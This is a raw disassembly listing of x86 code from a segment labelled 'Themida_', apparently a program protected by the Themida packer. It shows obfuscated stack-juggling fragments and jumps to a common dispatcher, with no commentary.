; --------------------------------------------------------------------------- loc_553E31: ; CODE XREF: Themida_:0055A026j and ebp, esi mov esi, [esp] add esp, 4 xor ebp, 0A8669514h sub eax, 298D4D04h jmp loc_5588D4 ; --------------------------------------------------------------------------- loc_553E49: ; CODE XREF: Themida_:00558B22j mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi jmp loc_554E19 ; --------------------------------------------------------------------------- loc_553E5C: ; CODE XREF: Themida_:005521E5j mov al, 0DAh add al, 7Ch add bl, al pop eax push eax mov al, 84h and al, 0CFh jmp loc_55D39B ; --------------------------------------------------------------------------- mov ecx, [esp] push edi mov edi, esp push eax mov eax, 4 add edi, 0EAE0D36h sub edi, 71C62431h add edi, eax add edi, 71C62431h sub edi, 0EAE0D36h mov eax, [esp] jmp loc_55B76C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553EAA: ; CODE XREF: Themida_:00554790j add eax, 4 jmp loc_554E37 ; --------------------------------------------------------------------------- loc_553EB4: ; CODE XREF: Themida_:005523DEj shl dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_553EBD: ; CODE XREF: Themida_:0055A55Dj push esi mov esi, 4 add ecx, esi pop esi push eax mov eax, 2B8B45FDh shr eax, 2 add eax, 6A851B56h add eax, 6FD54CC9h inc eax shl eax, 7 jmp loc_55C0D9 ; --------------------------------------------------------------------------- loc_553EE2: ; CODE XREF: Themida_:0055A2E4j mov ebp, [esp] add esp, 4 jmp loc_552292 ; --------------------------------------------------------------------------- loc_553EED: ; CODE XREF: Themida_:005524D7j jmp loc_551815 ; --------------------------------------------------------------------------- loc_553EF2: ; CODE XREF: Themida_:005570DFj mov [esp], ebx jmp loc_555C88 ; --------------------------------------------------------------------------- loc_553EFA: ; CODE XREF: Themida_:00556C09j mov ecx, 3A969B2h mov eax, 76D13FD2h jmp loc_551A70 ; --------------------------------------------------------------------------- loc_553F09: ; CODE XREF: Themida_:005577DEj pop esi push eax mov eax, 76AA44A6h jmp loc_559784 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5541D9 ; --------------------------------------------------------------------------- loc_553F30: ; CODE XREF: Themida_:0055401Cj pop esi add esi, 4 push 76C5h jmp loc_557D2E ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_553F49: ; CODE XREF: Themida_:005564E9j add edi, 4 xchg edi, [esp] pop esp jmp loc_5538A6 ; --------------------------------------------------------------------------- loc_553F58: ; CODE XREF: Themida_:0055255Fj sub esp, 4 mov [esp], edi mov edi, 719D482Eh sub dword ptr [esp+4], 31D4210h jmp loc_55650D ; --------------------------------------------------------------------------- loc_553F73: ; CODE XREF: Themida_:00556831j xor edx, eax xor eax, edx push 6BEBh mov [esp], ebx sub esp, 4 jmp loc_5546D0 ; --------------------------------------------------------------------------- loc_553F8A: ; CODE XREF: Themida_:00554561j mov eax, 24h add esi, 60FC0EF5h jmp loc_556A58 ; --------------------------------------------------------------------------- loc_553F9A: ; CODE XREF: Themida_:0055CD01j mov [esp], esi jmp loc_55BD7B ; --------------------------------------------------------------------------- loc_553FA2: ; CODE XREF: Themida_:005534C4j push 4ED7h mov [esp], ecx mov ecx, 6B593A36h add eax, ecx pop ecx movzx ax, byte ptr [eax] push small 6A9Ah mov [esp], ax jmp loc_552482 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_55864F ; --------------------------------------------------------------------------- loc_553FCC: ; CODE XREF: Themida_:0055DCFBj add esp, 4 sub ebp, 4 jmp loc_55C147 ; --------------------------------------------------------------------------- loc_553FDD: ; CODE XREF: Themida_:00558430j inc ebx push eax mov eax, 24662A64h sub ebx, eax mov eax, [esp] add esp, 4 and eax, ebx jmp loc_552DEF ; --------------------------------------------------------------------------- lodsd jmp loc_554838 ; --------------------------------------------------------------------------- loc_553FFC: ; CODE XREF: Themida_:00553A3Dj push 4AAh mov [esp], ebp jmp loc_55B3E0 ; --------------------------------------------------------------------------- loc_554009: ; CODE XREF: Themida_:005570BFj add ebx, eax pop eax xchg ebx, [esp] pop esp imul cx jmp loc_55BFD4 ; --------------------------------------------------------------------------- loc_554018: ; CODE XREF: Themida_:0055B7A0j mov [esp], esi push esp jmp loc_553F30 ; --------------------------------------------------------------------------- loc_554021: ; CODE XREF: Themida_:00559B14j sub ecx, edi pop edi mov ebx, [esp] add esp, 4 jmp loc_559593 ; --------------------------------------------------------------------------- loc_55402F: ; CODE XREF: Themida_:0055640Ej sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_558CA2 ; --------------------------------------------------------------------------- loc_554045: ; CODE XREF: Themida_:0055D3F0j mov edi, 78006073h not edi xor edi, edx jmp loc_55A43B ; --------------------------------------------------------------------------- loc_554053: ; CODE XREF: Themida_:0055CA9Dj push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 7A966D28h xor edi, 0CE801C20h jmp loc_55657E ; --------------------------------------------------------------------------- loc_55406B: ; CODE XREF: Themida_:0055A60Aj mov esi, esp add esi, 4 push eax jmp loc_5518A3 ; --------------------------------------------------------------------------- loc_554079: ; CODE XREF: Themida_:00558137j mov ecx, [esp] add esp, 4 push ecx jmp loc_556082 ; --------------------------------------------------------------------------- loc_554088: ; CODE XREF: Themida_:00555BD8j sub esi, 7B03108Ch add esi, edi jmp loc_558393 ; --------------------------------------------------------------------------- loc_554095: ; CODE XREF: Themida_:0055AAD3j add ebx, 4 push 744Dh jmp loc_55DBE2 ; --------------------------------------------------------------------------- loc_5540A5: ; CODE XREF: Themida_:00553771j sub edx, 36382AA5h add edx, ecx add edx, 36382AA5h pop ecx sub edx, eax mov eax, edx pop edx shr eax, 6 not eax jmp loc_55BA82 ; --------------------------------------------------------------------------- loc_5540C3: ; CODE XREF: Themida_:005572C3j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 loc_5540D2: ; CODE XREF: Themida_:0055B238j push 1FB6h mov [esp], ebx push ebx jmp loc_552401 ; --------------------------------------------------------------------------- loc_5540E0: ; CODE XREF: Themida_:00557481j push edx mov edx, esp push ecx mov ecx, 3BB5244Dh xor ecx, 0AFA3E41h not ecx sub ecx, 0CEB0E5EFh add edx, ecx pop ecx add edx, 4 xchg edx, [esp] jmp loc_55C9B4 ; --------------------------------------------------------------------------- loc_554105: ; CODE XREF: Themida_:00559B31j pop ecx add [esp], eax add dword ptr [esp], 7EF230E9h push ebx push esp pop ebx add ebx, 4 jmp loc_55B436 ; --------------------------------------------------------------------------- loc_55411E: ; CODE XREF: Themida_:00552639j add edx, edi sub edx, 7F7A3E0Dh jmp loc_557E3A ; --------------------------------------------------------------------------- loc_55412B: ; CODE XREF: Themida_:0055CCE5j mov [esp], edi mov edi, 233E67E8h add edi, 73974F54h push ebx jmp loc_55868F ; --------------------------------------------------------------------------- loc_55413F: ; CODE XREF: Themida_:0055C734j mov esp, [esp] mov cx, [esp] push 6F48h mov [esp], eax push esp pop eax sub esp, 4 jmp loc_55AB69 ; --------------------------------------------------------------------------- loc_55415B: ; CODE XREF: Themida_:0055275Fj push small word ptr [eax] jmp loc_551815 ; --------------------------------------------------------------------------- loc_554163: ; CODE XREF: Themida_:0055377Ej and dl, ah pop eax jmp loc_5591CE ; --------------------------------------------------------------------------- loc_55416B: ; CODE XREF: Themida_:005588C5j mov edx, 610D0D89h push ebx jmp loc_559EB2 ; --------------------------------------------------------------------------- loc_554176: ; CODE XREF: Themida_:0055967Aj mov ebp, 48D75764h mov edi, ebp pop ebp push ebx mov ebx, 62B05432h jmp loc_55BB3E ; --------------------------------------------------------------------------- loc_554189: ; CODE XREF: Themida_:0055B558j sub edx, ebx pop ebx jmp loc_55B55D ; --------------------------------------------------------------------------- loc_554191: ; CODE XREF: Themida_:0055DCDEj mov [esp], ebp mov ebp, 59AF0772h inc ebp add ebp, 6D2D35BEh or ebp, 166B4E24h inc ebp push edx mov edx, 5A97497Eh and edx, 535829C1h push ebx mov ebx, 4389520Ah shl ebx, 5 dec ebx xor ebx, 1CEE4F66h add edx, ebx pop ebx xor edx, 0C239B2ACh jmp loc_5521EA ; --------------------------------------------------------------------------- loc_5541D1: ; CODE XREF: Themida_:00553BBCj pop eax add esi, edx jmp loc_557E7A ; --------------------------------------------------------------------------- loc_5541D9: ; CODE XREF: Themida_:00553F2Bj pop esp mov [esp], ecx sub esp, 4 jmp loc_55B276 ; --------------------------------------------------------------------------- loc_5541E8: ; CODE XREF: Themida_:0055ADB0j push small 6F96h mov [esp], dx push ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5541F8: ; CODE XREF: Themida_:005579A1j xor al, dl mov dx, [esp] add esp, 2 add bl, 0F9h jmp loc_55B4A8 ; --------------------------------------------------------------------------- loc_554209: ; CODE XREF: Themida_:0055200Fj dec esi push ebx mov ebx, 0FFFFFFFFh jmp loc_552B33 ; --------------------------------------------------------------------------- loc_554215: ; CODE XREF: Themida_:00556839j mov esp, [esp] jmp loc_557AB1 ; --------------------------------------------------------------------------- loc_55421D: ; CODE XREF: Themida_:00556C22j shr ebp, 3 dec ebp neg ebp jmp loc_55A18C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx jmp loc_55DCA5 ; --------------------------------------------------------------------------- loc_55424B: ; CODE XREF: Themida_:00556917j push ebp mov ebp, ecx push ebp sub dword ptr [esp], 16D460BBh pop edi add edi, 16D460BBh mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_555AC3 ; --------------------------------------------------------------------------- loc_554270: ; CODE XREF: Themida_:00554951j xor [esp], ecx xor ecx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_55D3D9 ; --------------------------------------------------------------------------- loc_554286: ; CODE XREF: Themida_:0055CA2Fj not eax xchg eax, [esp] pop dword ptr [edi+24h] jmp loc_557F6C ; --------------------------------------------------------------------------- loc_554293: ; CODE XREF: Themida_:00551D7Bj xor eax, ecx mov ecx, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_5594E4 ; --------------------------------------------------------------------------- loc_5542A3: ; CODE XREF: Themida_:0055AF15j pop esp sub esp, 2 jmp loc_55AB4D ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55908A ; --------------------------------------------------------------------------- loc_5542B7: ; CODE XREF: Themida_:00556E1Aj mov al, 0EBh add al, dh pop edx jmp loc_55C402 ; --------------------------------------------------------------------------- loc_5542C1: ; CODE XREF: Themida_:00558B08j pop esi push edx mov edx, 413802E3h add esi, edx mov edx, [esp] add esp, 4 push 6D1Fh mov [esp], esi pop dword ptr [edi+20h] mov esi, [esp] add esp, 4 jmp loc_55CE89 ; --------------------------------------------------------------------------- loc_5542E9: ; CODE XREF: Themida_:0055669Fj mov ebx, edx pop edx mov esi, ebx pop ebx and edi, esi pop esi neg edi jmp loc_55A4CE ; --------------------------------------------------------------------------- loc_5542F9: ; CODE XREF: Themida_:0055C254j sub ebp, 2361CCE2h sub edi, ebp pop ebp jmp loc_55B1B3 ; --------------------------------------------------------------------------- loc_554307: ; CODE XREF: Themida_:0055A983j pop esp shr byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_554311: ; CODE XREF: Themida_:0055D785j and ebp, 7F997D40h dec ebp or ebp, 72A97DB0h xor ebp, 4712323h shl ebp, 8 sub ebp, 8BB4C27Fh add edx, ebp jmp loc_558F66 ; --------------------------------------------------------------------------- loc_554334: ; CODE XREF: Themida_:0055AA93j mov ecx, 58C33B69h jmp loc_556E7F ; --------------------------------------------------------------------------- loc_55433E: ; CODE XREF: Themida_:005530C4j push esi mov esi, esp jmp loc_55D8A9 ; --------------------------------------------------------------------------- loc_554346: ; CODE XREF: Themida_:00553ADAj mov esi, edx jmp loc_557B0C ; --------------------------------------------------------------------------- loc_55434D: ; CODE XREF: Themida_:0055B5F5j mov edi, 4 jmp loc_55C29F ; --------------------------------------------------------------------------- loc_554357: ; CODE XREF: Themida_:0055D740j add ebp, edi pop edi pop ecx jmp loc_558E8F ; --------------------------------------------------------------------------- loc_554360: ; CODE XREF: Themida_:0055CA62j not esi xor ebp, esi xor esi, ebp xor ebp, esi push 3355h jmp loc_55D1A2 ; --------------------------------------------------------------------------- loc_554372: ; CODE XREF: Themida_:00553585j add edi, ebp sub edi, 0C840DD6h pop ebp add edi, 4 xchg edi, [esp] mov esp, [esp] push 5AEh jmp loc_558196 ; --------------------------------------------------------------------------- loc_55438E: ; CODE XREF: Themida_:0055BABEj xor ecx, 4AED0AB8h mov edx, ecx jmp loc_55A383 ; --------------------------------------------------------------------------- loc_55439B: ; CODE XREF: Themida_:005551DBj add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_5543A6: ; CODE XREF: Themida_:00559B99j sub ecx, ebp jmp loc_55B488 ; --------------------------------------------------------------------------- loc_5543AD: ; CODE XREF: Themida_:00555578j mov edi, 4 push ebp push edi mov edi, 0BDA2308h sub edi, 0D54504CAh mov ebp, edi jmp loc_5525F0 ; --------------------------------------------------------------------------- loc_5543C6: ; CODE XREF: Themida_:00552D40j mov eax, [esp] add esp, 4 push edi jmp loc_5562BB ; --------------------------------------------------------------------------- loc_5543D2: ; CODE XREF: Themida_:0055970Dj and bh, 51h not bh shr bh, 1 neg bh add bh, 0FAh sub bh, 8Fh sub al, 2Ah sub al, bh add al, 2Ah pop ebx push edx jmp loc_551B1F ; --------------------------------------------------------------------------- loc_5543EE: ; CODE XREF: Themida_:0055A3BFj push edx jmp loc_552F6A ; --------------------------------------------------------------------------- lodsd push ebp mov ebp, esp push eax jmp loc_55AC93 ; --------------------------------------------------------------------------- loc_5543FE: ; CODE XREF: Themida_:005537CEj pop ebx push edi mov edi, 5F610DD6h shl edi, 2 or edi, 1FE15567h push 42C4h mov [esp], ecx mov ecx, 1 push ecx mov ecx, 5F292FFCh and ecx, 4D2A5F5Ch neg ecx jmp loc_55ADE7 ; --------------------------------------------------------------------------- loc_55442E: ; CODE XREF: Themida_:00555899j add esp, 4 push 8 jmp loc_55D275 ; --------------------------------------------------------------------------- loc_55443B: ; CODE XREF: Themida_:0055B7B8j mov [esp], edx mov edx, esp push ebp push 4 pop ebp push ebx mov ebx, 18E9213Ch jmp loc_55D380 ; --------------------------------------------------------------------------- loc_554452: ; CODE XREF: Themida_:00556C17j sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov ax, [esp] jmp loc_55741F ; --------------------------------------------------------------------------- loc_55446A: ; CODE XREF: Themida_:00554CA4j pop edi shr ecx, 8 neg ecx sub ecx, 0FFFFFFFFh add ecx, 3D9644B4h sub eax, ecx jmp loc_558580 ; --------------------------------------------------------------------------- loc_554483: ; CODE XREF: Themida_:00559A9Ej mov ebx, 23FE7EEAh jmp loc_5535D0 ; --------------------------------------------------------------------------- loc_55448D: ; CODE XREF: Themida_:00558271j pop edx movzx eax, al jmp loc_55909A ; --------------------------------------------------------------------------- loc_554496: ; CODE XREF: Themida_:0055D6E8j pop ebp push edi not dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 neg edi xor edi, 312035CBh sub edx, edi pop edi pop ecx add edx, 4 jmp loc_55193D ; --------------------------------------------------------------------------- loc_5544B9: ; CODE XREF: Themida_:005538C5j add edx, 4 xchg edx, [esp] pop esp mov bl, 67h and bl, 52h shr bl, 8 jmp loc_552F29 ; --------------------------------------------------------------------------- loc_5544CD: ; CODE XREF: Themida_:0055DA6Fj add esp, 4 xor ebx, eax jmp loc_55450F ; --------------------------------------------------------------------------- loc_5544D7: ; CODE XREF: Themida_:0055CF69j add esi, ebp pop ebp xchg esi, [esp] jmp loc_55D9F8 ; --------------------------------------------------------------------------- loc_5544E2: ; CODE XREF: Themida_:00557AACj sub ebx, 1D2655Eh pop ebp add ebx, edx sub ebx, 5C1A7421h push edx mov edx, 0 jmp loc_557A1C ; --------------------------------------------------------------------------- loc_5544FC: ; CODE XREF: Themida_:0055458Dj mov [esp], ebx mov bh, 0F7h push 27ACh mov [esp], eax push ecx jmp loc_55D3BD ; --------------------------------------------------------------------------- loc_55450F: ; CODE XREF: Themida_:005544D2j movzx ax, byte ptr [eax] sub esp, 4 mov [esp], edx push esp jmp loc_55663F ; --------------------------------------------------------------------------- loc_554522: ; CODE XREF: Themida_:005591B4j pop ecx add esp, 4 add al, 0F3h add al, bl sub al, 0F3h jmp loc_55DAE8 ; --------------------------------------------------------------------------- loc_554534: ; CODE XREF: Themida_:0055C04Cj pop eax push esi mov esi, 4 add edx, esi pop esi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_553F8A ; --------------------------------------------------------------------------- loc_554566: ; CODE XREF: Themida_:0055ACC6j not ch jmp loc_55B22F ; --------------------------------------------------------------------------- loc_55456D: ; CODE XREF: Themida_:00552257j mov ebx, 4 jmp loc_55B3F7 ; --------------------------------------------------------------------------- loc_554577: ; CODE XREF: Themida_:00555706j add dl, ah pop eax sub bl, dl pop edx xor bl, 0A7h xor al, bl mov ebx, [esp] add esp, 4 push 2C6Bh jmp loc_5544FC ; --------------------------------------------------------------------------- loc_554592: ; CODE XREF: Themida_:00553162j push ebx mov bl, 0FBh push eax push ecx mov ch, bl mov al, ch jmp loc_55766B ; --------------------------------------------------------------------------- loc_5545A0: ; CODE XREF: Themida_:00559728j add ecx, 4 jmp loc_5552AD ; --------------------------------------------------------------------------- loc_5545AB: ; CODE XREF: Themida_:00552A76j add ebp, esi pop esi push edi mov edi, 249D3155h and ebp, edi pop edi push ecx push 5E3Ch mov [esp], ebx mov ebx, 39BD29ECh jmp $+5 mov ecx, 2C6A47EDh xor ecx, ebx pop ebx and ebp, ecx mov ecx, [esp] add esp, 4 sub ebp, 50000h mov ebx, ebp pop ebp jmp loc_5579DF ; --------------------------------------------------------------------------- loc_5545EB: ; CODE XREF: Themida_:0055D966j xor edx, 0F676F224h sub edi, edx pop edx dec edi jmp loc_558C2F ; --------------------------------------------------------------------------- loc_5545FA: ; CODE XREF: Themida_:005522B7j push edx mov dh, 2Bh jmp loc_55967F ; --------------------------------------------------------------------------- loc_554602: ; CODE XREF: Themida_:0055ACABj dec edi shr edi, 4 shr edi, 3 add edi, 42D864B3h xor edi, 87BFC9B6h xor ebp, edi pop edi push ebp jmp loc_55941E ; --------------------------------------------------------------------------- loc_55461E: ; CODE XREF: Themida_:00552295j pop esp mov [esp], edi mov edi, 4 and ecx, edi pop edi shr ecx, 2 push 3531h mov [esp], ecx mov ecx, ebx sub esp, 4 mov [esp], ecx push esi mov esi, 54836E04h sub [esp+4], esi jmp loc_55C3E6 ; --------------------------------------------------------------------------- loc_55464C: ; CODE XREF: Themida_:00559191j mov edx, 38F83A83h shr edx, 7 sub edx, 0DD7AB846h push 539Dh mov [esp], esi mov esi, 3A9F55A5h add esi, 1C036869h and esi, 7A3B7912h xor esi, 8217929h jmp loc_552458 ; --------------------------------------------------------------------------- loc_55467E: ; CODE XREF: Themida_:00558CE7j xor esi, 0FFC1AE20h xor edx, esi pop esi jmp loc_55C3DE ; --------------------------------------------------------------------------- loc_55468C: ; CODE XREF: Themida_:0055B483j jmp loc_551815 ; --------------------------------------------------------------------------- loc_554691: ; CODE XREF: Themida_:0055378Fj shr edx, 1 jmp loc_55A642 ; --------------------------------------------------------------------------- loc_554698: ; CODE XREF: Themida_:0055353Dj neg eax sub eax, 32AA5FB2h and eax, 4AA66ACBh add eax, 0BD9978A8h jmp loc_55C4E4 ; --------------------------------------------------------------------------- loc_5546AE: ; CODE XREF: Themida_:005572E6j pop edx or ebp, 69933F55h jmp loc_55CA13 ; --------------------------------------------------------------------------- loc_5546BA: ; CODE XREF: Themida_:0055C718j add ebp, 4 push esi mov esi, 4 add ebp, esi mov esi, [esp] jmp loc_557F89 ; --------------------------------------------------------------------------- loc_5546D0: ; CODE XREF: Themida_:00553F85j mov [esp], edi jmp loc_55539E ; --------------------------------------------------------------------------- loc_5546D8: ; CODE XREF: Themida_:0055B683j mov ebx, [esp] add esp, 4 push eax mov eax, 2ED17475h xchg eax, edi jmp loc_55BEEF ; --------------------------------------------------------------------------- loc_5546EA: ; CODE XREF: Themida_:005569A3j movzx cx, ah jmp loc_557837 ; --------------------------------------------------------------------------- loc_5546F3: ; CODE XREF: Themida_:00557562j push edx mov edx, 763E4CCFh add ebx, 7B1748E9h jmp loc_55BAFF ; --------------------------------------------------------------------------- loc_554704: ; CODE XREF: Themida_:0055BDC5j push edx push esi jmp loc_5518EB ; --------------------------------------------------------------------------- push ax mov ah, ch mov ch, [esp+2] jmp loc_554956 ; --------------------------------------------------------------------------- loc_554718: ; CODE XREF: Themida_:0055AC65j mov ecx, 0A2BBF99Dh jmp loc_55D14B ; --------------------------------------------------------------------------- loc_554722: ; CODE XREF: Themida_:0055B08Ej add esi, 4 jmp loc_551BF3 ; --------------------------------------------------------------------------- loc_55472D: ; CODE XREF: Themida_:005585FEj pop eax add dl, bl sub dl, 67h pop ebx push ebx mov bh, 0C9h push eax mov ah, 8Eh or ah, 6Dh jmp loc_5522B1 ; --------------------------------------------------------------------------- loc_554742: ; CODE XREF: Themida_:005552BFj shl dl, 4 or dl, 63h dec dl xor dl, 38h xor ch, dl mov edx, [esp] jmp loc_55DB05 ; --------------------------------------------------------------------------- loc_554757: ; CODE XREF: Themida_:0055A312j add esp, 4 add dword ptr [esp+4], 0FAB22CEh add dword ptr [esp+4], 34B34511h sub [esp+4], ebp push eax mov eax, 34B34511h sub [esp+8], eax mov eax, [esp] jmp loc_55350D ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55478B: ; CODE XREF: Themida_:0055C656j mov [esp], eax mov eax, esp jmp loc_553EAA ; --------------------------------------------------------------------------- loc_554795: ; CODE XREF: Themida_:00553BAEj mov dx, [esp] add esp, 2 add ax, 372Bh add ax, bp sub ax, 372Bh mov ebp, [esp] add esp, 4 sub bx, 0B6Eh push ebp mov bp, 5C29h add bp, 56C6h jmp loc_55D9C2 ; --------------------------------------------------------------------------- loc_5547C1: ; CODE XREF: Themida_:0055BBE4j push dword ptr [esp] mov edx, [esp] push 54F8h mov [esp], edx mov edx, esp add edx, 4 push ecx jmp loc_559EEA ; --------------------------------------------------------------------------- loc_5547DD: ; CODE XREF: Themida_:0055C3C5j shl cl, 1 dec cl dec cl add cl, 59h sub al, cl pop ecx sub esp, 4 mov [esp], ecx jmp loc_553676 ; --------------------------------------------------------------------------- loc_5547F7: ; CODE XREF: Themida_:0055CA16j sub ebp, 0EBDF3Bh add esi, 7F9A6468h add esi, ebp sub esi, 7F9A6468h pop ebp add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_55CCFB ; --------------------------------------------------------------------------- loc_554838: ; CODE XREF: Themida_:00553FF7j cmp dword ptr [edi+20h], 0 jz loc_55A826 push 26BEh jmp loc_5529BE ; --------------------------------------------------------------------------- mov eax, [esp] push 2DC2h mov [esp], eax mov eax, esp push ecx mov ecx, 63BF0FC2h dec ecx jmp loc_5592F7 ; --------------------------------------------------------------------------- loc_554865: ; CODE XREF: Themida_:00552097j add esp, 4 jmp loc_55C921 ; --------------------------------------------------------------------------- loc_55486D: ; CODE XREF: Themida_:005588CFj add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp jmp loc_55375A ; --------------------------------------------------------------------------- loc_55487F: ; CODE XREF: Themida_:00558B93j mov esi, esp add esi, 4 jmp loc_55CF31 ; --------------------------------------------------------------------------- loc_55488C: ; CODE XREF: Themida_:00555C01j or ch, 0C9h add ch, 0CDh sub al, 26h sub al, ch sub esp, 4 mov [esp], ecx jmp loc_556D93 ; --------------------------------------------------------------------------- loc_5548A4: ; CODE XREF: Themida_:00558D6Fj mov [esp], edx push esp jmp loc_55A5D1 ; --------------------------------------------------------------------------- loc_5548AD: ; CODE XREF: Themida_:00558DA1j add esp, 4 push ebp mov ebp, 252C56F9h jmp loc_552377 ; --------------------------------------------------------------------------- loc_5548BB: ; CODE XREF: Themida_:00551DB7j dec al inc al push ebx mov bl, 51h xor al, bl pop ebx add ch, al pop eax add dh, ch pop ecx push eax jmp loc_551AD3 ; --------------------------------------------------------------------------- loc_5548D1: ; CODE XREF: Themida_:0055304Ej pop eax jmp loc_551B32 ; --------------------------------------------------------------------------- loc_5548D7: ; CODE XREF: Themida_:0055B2C2j pop esi and esi, 0CAD3254h not esi jmp loc_551F8F ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_557618 ; --------------------------------------------------------------------------- loc_5548F1: ; CODE XREF: Themida_:0055D7BDj mov dl, 66h or dl, 0C1h push eax mov ah, dl not ah mov dl, ah pop eax shl dl, 8 jmp loc_55C274 ; --------------------------------------------------------------------------- loc_554906: ; CODE XREF: Themida_:00552B94j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebp, ecx pop ecx add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 13BBh mov [esp], ecx push 0 jmp loc_555A50 ; --------------------------------------------------------------------------- loc_554938: ; CODE XREF: Themida_:005564C1j inc eax shr eax, 1 add eax, 614ED443h jmp loc_552F1E ; --------------------------------------------------------------------------- loc_554945: ; CODE XREF: Themida_:0055B431j pop esp mov [esp], edx jmp loc_55D351 ; --------------------------------------------------------------------------- loc_55494E: ; CODE XREF: Themida_:0055529Fj xor ecx, [esp] jmp loc_554270 ; --------------------------------------------------------------------------- loc_554956: ; CODE XREF: Themida_:00554713j mov [esp+2], ah mov ax, [esp] add esp, 2 not ch push small 49A4h mov [esp], bx push 6D88h mov [esp], eax sub esp, 4 mov [esp], ebx jmp loc_556A93 ; --------------------------------------------------------------------------- loc_554981: ; CODE XREF: Themida_:00559FB7j xor ch, 7Dh add al, ch mov ecx, [esp] add esp, 4 add bl, 8Ah push ecx push 701h mov [esp], eax push ebx mov bl, 7Fh sub bl, 8Dh neg bl add bl, 63h or bl, 0E1h sub bl, 2 mov ah, bl pop ebx neg ah shl ah, 5 sub ah, 8Ch xor ah, 0C2h mov ch, ah pop eax jmp loc_55CA67 ; --------------------------------------------------------------------------- loc_5549C2: ; CODE XREF: Themida_:005571A9j push esi mov esi, 39077550h jmp loc_55999D ; --------------------------------------------------------------------------- loc_5549CD: ; CODE XREF: Themida_:005579C2j xchg edx, [esp] jmp loc_556A0A ; --------------------------------------------------------------------------- loc_5549D5: ; CODE XREF: Themida_:00552042j push ecx push ebp jmp loc_5598EF ; --------------------------------------------------------------------------- loc_5549DC: ; CODE XREF: Themida_:0055614Fj mov cx, [esp] push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx jmp loc_5522F8 ; --------------------------------------------------------------------------- loc_5549FA: ; CODE XREF: Themida_:0055DAA5j mov esp, [esp] mov [esp], cx jmp loc_551815 ; --------------------------------------------------------------------------- loc_554A06: ; CODE XREF: Themida_:005594D1j mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_558768 ; --------------------------------------------------------------------------- loc_554A22: ; CODE XREF: Themida_:0055B14Ej inc dh jmp loc_55BB99 ; --------------------------------------------------------------------------- loc_554A29: ; CODE XREF: Themida_:00559A56j sub esp, 4 jmp loc_553B6E ; --------------------------------------------------------------------------- loc_554A34: ; CODE XREF: Themida_:0055527Ej sub eax, 2069E44Ch add ecx, eax pop eax add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_556059 ; --------------------------------------------------------------------------- push 48C1h mov [esp], ebp jmp loc_55BDCA ; --------------------------------------------------------------------------- loc_554A5A: ; CODE XREF: Themida_:00557A17j sub eax, 46831725h sub eax, 8D77ADFh add eax, edi push ecx mov ecx, 5BF51490h shl ecx, 2 not ecx jmp loc_551D68 ; --------------------------------------------------------------------------- loc_554A76: ; CODE XREF: Themida_:0055338Dj add esi, edi pop edi jmp loc_55617E ; --------------------------------------------------------------------------- loc_554A7E: ; CODE XREF: Themida_:0055D0DCj push eax mov eax, 79E15D7Eh add edi, eax pop eax pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add edi, ebp sub edi, 7A5A22E0h pop ebp jmp loc_557B48 ; --------------------------------------------------------------------------- loc_554AA0: ; CODE XREF: Themida_:00558628j sub eax, 0FA633BD0h xor ebx, eax pop eax add ebx, 0C785C63Dh jmp loc_55D537 ; --------------------------------------------------------------------------- loc_554AB3: ; CODE XREF: Themida_:0055A179j add ecx, ebx push ebp mov ebp, 3CF12297h add ecx, 744167DBh sub ecx, 87C3951h add ecx, ebp add ecx, 87C3951h jmp loc_55A290 ; --------------------------------------------------------------------------- loc_554AD4: ; CODE XREF: Themida_:00559C8Cj push ebx mov ebx, esp add ebx, 4 push ecx jmp loc_55AF34 ; --------------------------------------------------------------------------- loc_554AE3: ; CODE XREF: Themida_:005576C3j mov eax, 6B272366h and eax, 6AE2A21h neg eax push esi jmp loc_55C60D ; --------------------------------------------------------------------------- pop edx pop ecx sub bl, 0DEh add al, bl push dword ptr [esp] pop ebx add esp, 4 jmp loc_557B03 ; --------------------------------------------------------------------------- loc_554B0B: ; CODE XREF: Themida_:0055BEEAj push dword ptr [esp+4] pop ecx jmp loc_55A0E5 ; 